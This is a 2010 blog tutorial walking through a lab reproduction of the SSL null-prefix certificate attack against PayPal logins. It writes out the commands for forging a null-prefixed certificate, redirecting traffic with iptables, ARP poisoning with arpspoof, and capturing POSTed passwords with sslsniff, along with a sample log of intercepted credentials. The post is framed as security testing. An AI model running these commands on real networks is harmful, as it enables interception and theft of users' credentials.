Things I'd do if I ever have time

Wish list

Please help a man further his career by donating expensive hardware. Cash works too.



Attacking SSL with sslsniff and Null Prefixes

Published: 02/09/2010

Last year at Black Hat and Defcon, several researchers (including Moxie Marlinspike) gave talks about new ways to break through the veil of SSL security and extract the juicy secrets inside. His updated version of sslsniff allows for some new tricks to see the unencrypted data, chipping away at the full body armor which SSL / TLS has been known for. This article dives into some of the specifics of reproducing this attack scenario so you can test this exploit for your own corporate applications which rely on SSL for its transmission security.

Before setting up this test, it is recommended to be familiar with how this attack works. Read Moxie Marlinspike's paper (.pdf) for the overview. The Black Hat Las Vegas 2009 (.mov, 217 MB) and Defcon 17 (.m4v, 168 MB) videos are also available for review.

Note: due to a specific limitation mentioned below, I've only been able to reproduce most of this attack, although the rest of the theory should make clear why this works.

In order to set up this simulation, you will need the following:

- Linux host with the proper tools installed to perform the MiTM attack
- Private certificate authority to sign spoof certificates
- Router connected to the Internet
- Windows host that is not patched with update MS09-056

The objective of this exercise is to intercept the SSL connection between an arbitrary Windows application which relies on CryptoAPI (such as Internet Explorer) and a target webserver (such as www.paypal.com) to capture the username / password being passed within the supposed SSL connection.


Attackers like Linux, and so should you

First, set up a Linux system with the arpspoof and sslsniff utilities (arpspoof is part of the dsniff collection). I decided to try the latest Ubuntu (version 9.10 as of this writing) and install these two and their dependencies from here and here since they're not in the standard repositories and simply doing apt-get install sslsniff doesn't work.

Optionally, install Wireshark in order to verify later that the Windows machine sends traffic through the Linux host.


Create a (not really public) certificate authority

Use OpenSSL on the Linux host to create your own CA (instructions on how to do this can be Googled and doesn't take very long; start here for an idea). While a real attack would require obtaining a spoof certificate from a real public CA such as VeriSign, Thawte, etc. whose root certificate is already installed in Windows' Trusted Root Certification Authorities store, for our simulation purposes we'll use our own private CA and manually import its cert into Windows. All public CAs are probably well aware of this attack by now so trying to obtain a spoofed certificate from them isn't likely to succeed anyway.

Once the CA is created, copy the CA's certificate file to a Windows machine (either via flash drive or through the network) and import it into Windows' Trusted Root Certification Authorities store (the local computer store, not the currently-logged-on user's; use mmc.exe for this task). This essentially simulates the private CA as a public one whose root certificate originally came installed with Windows out of the box.


Create a spoof certificate

Go to the directory which contains openssl.cnf. Generate a private key and create a certificate signing request with the following command (red text represent manually-entered values entered in the CSR creation process shown in blue; take special note of the "\x00" in the Common Name):

# openssl req -config openssl.cnf -new -nodes -keyout paypal.key -out paypal.csr -days 365
Generating a 1024 bit RSA private key
.............++++++
..++++++
writing new private key to 'paypal.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Berkshire]:California
Locality Name (eg, city) [Newbury]:Somewhere
Organization Name (eg, company) [My Company Ltd]:Not Really PayPal Inc.
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) []:www.paypal.com\x00mydomain.com
Email Address []:me@mydomain.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:


Keep in mind that in order to create a true working spoofed certificate, a null character must be used instead of "\x00." Attempting to manually enter in a null character (by pressing Control+Shift+2 in Linux) will result in OpenSSL exiting the CSR creation process with a "weird input" error. The only way to create a spoofed certificate with a real null prefix in it is via programmatic methods. For the purposes of this exercise here, we cheat and use "\x00" to allow sslsniff to think it has a certificate with the right CN syntax and allow it to invoke the use of this certificate whenever a victim client attempts to contact www.paypal.com via SSL. Although sslsniff probably wasn't designed to recognize a "fake null prefix," version 0.6 at least allows this for our demonstration.

Now have the CA sign the certificate:

# openssl ca -config openssl.cnf -policy policy_anything -out paypal.crt -infiles paypal.csr
Using configuration from openssl.cnf
Enter pass phrase for ./private/myca.key: [Enter password protecting CA private key]
Check that the request matches the signature
Signature ok
Certificate Details:
     Serial Number: 16 (0x10)
     Validity
         Not Before: Feb  9 08:34:05 2010 GMT
         Not After : Feb  9 08:34:05 2011 GMT
     Subject:
         countryName               = US
         stateOrProvinceName       = California
         localityName              = Somewhere
         organizationName          = Not Really PayPal Inc.
         commonName                = www.paypal.com\x00mydomain
         emailAddress              = me@mydomain.com
     X509v3 extensions:
         Netscape Cert Type:
         SSL Server
         X509v3 Key Usage:
         Digital Signature, Non Repudiation, Key Encipherment, 
              Data Encipherment, Key Agreement
         X509v3 Extended Key Usage:
         TLS Web Server Authentication
         Netscape Comment:
         OpenSSL Generated Certificate
         X509v3 Subject Key Identifier:
         41:79:CC:46:11:28:85:6C:EE:55:C5:E4:57:ED:BD:38:E6:79:0B:BB
         X509v3 Authority Key Identifier:
         keyid:74:14:C2:3B:B5:02:3C:2F:1F:98:24:5E:B0:25:13:53:7C:C0:62:F0
         DirName:/C=US/ST=CA/L=San Jose/O=SuperDuperCheap Certificates, Inc./
         CN=SuperDuperCheap Certificates Root CA
              emailAddress=admin@superdupercheapstuff.com
         serial:00

         Netscape CA Revocation Url:
         http://www.somewhere.mydomain.com/ca-crl.pem
         Netscape Base Url:
         http://www.somewhere.mydomain.com/
         Netscape Revocation Url:
         http://www.somewhere.mydomain.com/rejects.crl
Certificate is to be certified until Feb  9 08:34:05 2011 GMT (365 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated


Concatenate the certificate and private key files into one. This is what sslsniff will rely on for a web target. Then copy this file into a directory that sslsniff will look for spoofed certificates.

# cat paypal.crt paypal.key > paypal.pem
# mkdir -p /usr/share/sslsniff/certs/spoofed_site/
# cp paypal.pem /usr/share/sslsniff/certs/spoofed_site/



Start the attack

Connect both the Linux and Windows hosts to the network. Enable IP forwarding on the Linux host:

# echo 1 > /proc/sys/net/ipv4/ip_forward


Configure iptables to re-route all TCP 443 requests to port 999 where sslsniff will be listening:

# iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 999


Start up sslsniff in targeted mode, listening on port 999, writing a log file, enabling OCSP declining, and logging only HTTP POST information where user credentials are wrapped up in.

# sslsniff -t -c /usr/share/sslsniff/certs/spoofed_site -s 999 -w /tmp/sslsniff.log -d -p


Begin ARP poisoning. Assuming the Windows host has an IP address of 10.0.0.5 and the router's inside address is 10.0.0.1:

# arpspoof -i eth0 -t 10.0.0.5 10.0.0.1


This will start an continuous ARP transmission from the attacker to the Windows host.


Get spoofed

On the Windows machine, check the local ARP cache:

C:\>arp -a
Interface: 10.0.0.5 --- 0x2
  Internet Address      Physical Address      Type
  10.0.0.1              00-0f-1f-c7-75-b5     dynamic


The MAC address listed for 10.0.0.1 (00-0f-1f-c7-75-b5) should be identical to the interface on the Linux host.

root@attacker:~# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:0f:1f:c7:75:b5
          inet addr:10.0.0.16  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::20f:1fff:fec7:75b5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:26 errors:0 dropped:0 overruns:0 frame:0
          TX packets:39 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3310 (3.3 KB)  TX bytes:6551 (6.5 KB)
          Interrupt:11


This means that the Windows machine will now send outbound packets to the attacker's host, not realizing that it's the fake gateway. Now run Internet Explorer and go to https://www.paypal.com. Going to the non-secured version will automatically switch over to "https:" version since PayPal auto-redirects all non-secured connections to secured ones.

As the Windows machine sends the SSL handshake setup for www.paypal.com, it's actually creating an SSL connection with sslsniff instead. The spoofed certificate is handed to the victim. Internet Explorer receives this and passes it onto CryptoAPI to validate it. If this was a true spoofed certificate with a real null prefix, CryptoAPI would only recognize the left portion of the Common Name string on the certificate up to the point of the null character - www.paypal.com. Since our example certificate isn't a true spoof with a real null character, it sees the entire string (www.paypal.com\x00mydomain.com) and prompts a warning in the browser that there might be an issue with the cert since the Common Name value doesn't match the DNS name in the browser.

In Internet Explorer 6, this will prompt an additional dialog. On IE 7 or 8, this will prompt a generic page indicating that "there is a problem with this website's security certificate" and asks whether to close the webpage or continue to the website. To simulate that the CryptoAPI was fooled, simply select the option to continue. If you check the certificate information, you'll notice that it was signed by our test CA and is not the real one from VeriSign.

While all this is going on, sslsniff also makes a connection to the real website on the back-end. This way, it now has an SSL connection to the victim and a separate SSL connection to the server. It's sitting in the middle between these connections. Anything the victim sends it gets decrypted where sslsniff can look at the plaintext data. Then it can forward this data onto the server into the second SSL tunnel.

While tailing /tmp/sslsniff.log on the Linux host, enter in a fake username and password in order to test the interception ability of sslsniff.

1265753419 INFO sslsniff : Got POST (www.paypal.com) :
login_email=iamtesting@somewhere.com&login_password=MyReallyLAMEpassword&target_page=0
&submit.x=Log+In&form_charset=UTF-8&browser_name=Microsoft+Internet+Explorer&browser_
version=6&operating_system=Windows&bp_mid=v%3D1%3Ba1%3D5%7Ea2%3D6%7Ea3%3D8820%7Ea4%3D
Mozilla%7Ea5%3DMicrosoft+Internet+Explorer%7Ea6%3D4.0+%28compatible%3B+MSIE+6.0%3B+
Windows+NT+5.1%3B+SV1%3B+.NET+CLR+2.0.50727%29%7Ea7%3D%3BSP2%3B%7Ea8%3Den-us%7Ea9%3Dtrue%
7Ea10%3Dx86%7Ea11%3Dtrue%7Ea12%3DWin32%7Ea13%3Den-us%7Ea14%3DMozilla%2F4.0+%28compatible%
3B+MSIE+6.0%3B+Windows+NT+5.1%3B+SV1%3B+.NET+CLR+2.0.50727%29%7Ea15%3Dtrue%7Ea16%3Den-us
%7Ea17%3Dwindows-1252%7Ea18%3Dwww.paypal.com%7Ea19%3D96%7Ea20%3D96%7Ea21%3Dtrue%7Ea22%3
D0%7Ea23%3D1152%7Ea24%3D864%7Ea25%3D16%7Ea26%3D836%7Ea27%3D1152%7Ea28%3DTue+Feb+9+14%3A09
%3A54+PST+2010%7Ea29%3D-8%7Ea30%3Dabk%3D6%2C0%2C2600%2C0%7Cwnt%3D6%2C0%2C2900%2C2180%7Cd


(output truncated for brevity)

You'll notice that the username and password was captured. In the event that the browser decides to check for certificate revocation, the -d option of sslsniff automatically downplays OCSP checks by sending the client a OCSP status code of 3 which means "try again later." Most unpatched SSL implementations will interpret this as "certificate seems valid, so proceed."

And there you have it. If you have an unpatched version of CryptoAPI, a spoof certificate with the right Common Name formatting from a certificate authority that is trusted by the target client host, and a connection to the same IP broadcast domain as the client, you have an effective means of capturing someone's credentials without him knowing it.



Go back to the main articles list.